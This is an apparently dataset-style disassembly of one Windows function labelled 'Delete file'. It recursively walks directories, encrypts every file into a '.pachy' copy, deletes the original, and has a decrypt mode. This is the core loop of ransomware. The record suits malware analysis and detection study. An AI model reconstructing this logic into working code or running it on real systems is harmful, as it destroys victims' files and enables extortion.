Function at 0x14000171b
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
mov eax, 0x10c8
call fcn.1400034d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1060], rcx
mov qword [rbp + 0x1068], rdx
mov qword [rbp + 0x1070], r8
mov dword [rbp + 0x1078], r9d
mov rax, qword [rbp + 0x1060]
mov rcx, rax
call sym.opendir
mov qword [rbp + 0x1038], rax
cmp qword [rbp + 0x1038], 0
je 0x140001c1a
jmp 0x140001be5
mov rax, qword [rbp + 0x1060]
mov rcx, rax
call sym.strlen
mov ebx, eax
mov rax, qword [rbp + 0x1030]
add rax, 8
mov rcx, rax
call sym.strlen
add eax, ebx
add eax, 2
mov dword [rbp + 0x102c], eax
mov rax, qword [rbp + 0x1030]
lea rcx, [rax + 8]
mov eax, dword [rbp + 0x102c]
movsxd rdx, eax
mov r8, qword [rbp + 0x1060]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov r9, r8
lea r8, str._s_s
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xfb0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.stat
movzx eax, word [rbp + 0xfb6]
movzx eax, ax
and eax, 0xf000
mov dword [rbp + 0x1028], eax
cmp dword [rbp + 0x1028], 0x4000
jne 0x140001914
mov rax, qword [rbp + 0x1030]
add rax, 8
lea rdx, [0x140012014]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001be4
mov rax, qword [rbp + 0x1030]
add rax, 8
lea rdx, [0x140012016]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001be4
mov rax, qword [rbp + 0x1060]
mov rcx, rax
call sym.strlen
mov ebx, eax
mov rax, qword [rbp + 0x1030]
add rax, 8
mov rcx, rax
call sym.strlen
add eax, ebx
add eax, 2
mov dword [rbp + 0x102c], eax
mov eax, dword [rbp + 0x102c]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xfe0], rax
mov rax, qword [rbp + 0x1030]
lea rdx, [rax + 8]
mov eax, dword [rbp + 0x102c]
cdqe
mov r8, qword [rbp + 0x1060]
mov rcx, qword [rbp + 0xfe0]
mov qword [rsp + 0x20], rdx
mov r9, r8
lea r8, str._s_s_
mov rdx, rax
call sym.snprintf
mov r8d, dword [rbp + 0x1078]
mov rcx, qword [rbp + 0x1070]
mov rdx, qword [rbp + 0x1068]
mov rax, qword [rbp + 0xfe0]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.rec_dic_traversal
mov rax, qword [rbp + 0xfe0]
mov rcx, rax
call sym.free
jmp 0x140001be5
cmp dword [rbp + 0x1078], 1
jne 0x140001a74
lea rax, [rbp - 0x50]
lea rdx, [0x14001201f]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1000], rax
cmp qword [rbp + 0x1000], 0
jne 0x140001965
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Enable_to_read_file__s_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
add eax, 7
mov dword [rbp + 0xffc], eax
mov eax, dword [rbp + 0xffc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xff0], rax
mov eax, dword [rbp + 0xffc]
cdqe
lea r8, [rbp - 0x50]
mov rcx, qword [rbp + 0xff0]
lea rdx, str.pachy
mov qword [rsp + 0x20], rdx
mov r9, r8
lea r8, str._s._s
mov rdx, rax
call sym.snprintf
mov rax, qword [rbp + 0xff0]
lea rdx, [0x140012046]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xfe8], rax
cmp qword [rbp + 0xfe8], 0
jne 0x140001a0c
mov rax, qword [rbp + 0xff0]
mov rdx, rax
lea rax, str.Enable_to_read_file__s_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
mov r8, qword [rbp + 0x1070]
mov rcx, qword [rbp + 0x1068]
mov rdx, qword [rbp + 0xfe8]
mov rax, qword [rbp + 0x1000]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.encrypt
mov rax, qword [rbp + 0x1000]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0xfe8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0xff0]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.remove
jmp 0x140001be5
cmp dword [rbp + 0x1078], 2
jne 0x140001be5
lea rax, [rbp - 0x50]
lea rdx, [0x14001201f]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1020], rax
cmp qword [rbp + 0x1020], 0
jne 0x140001ac5
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Enable_to_read_file__s_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
sub eax, 6
mov dword [rbp + 0x101c], eax
mov eax, dword [rbp + 0x101c]
add eax, 1
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x1010], rax
mov eax, dword [rbp + 0x101c]
movsxd rdx, eax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x1010]
mov r8, rdx
mov rdx, rax
call sym.strncpy
mov eax, dword [rbp + 0x101c]
cdqe
mov rdx, qword [rbp + 0x1010]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x1010]
mov rdx, rax
lea rax, [0x140012049]
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1010]
lea rdx, [0x140012046]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1008], rax
cmp qword [rbp + 0x1008], 0
jne 0x140001b8b
mov rax, qword [rbp + 0x1010]
mov rdx, rax
lea rax, str.Enable_to_read_file__s_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
mov r8, qword [rbp + 0x1070]
mov rcx, qword [rbp + 0x1068]
mov rdx, qword [rbp + 0x1008]
mov rax, qword [rbp + 0x1020]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.decrypt
mov rax, qword [rbp + 0x1020]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1008]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1010]
mov rcx, rax
call sym.free
jmp 0x140001be5
nop
mov rax, qword [rbp + 0x1038]
mov rcx, rax
call sym.readdir
mov qword [rbp + 0x1030], rax
cmp qword [rbp + 0x1030], 0
jne 0x140001777
mov rax, qword [rbp + 0x1038]
mov rcx, rax
call sym.closedir
jmp 0x140001c1b
nop
add rsp, 0x10c8
pop rbx
pop rbp
ret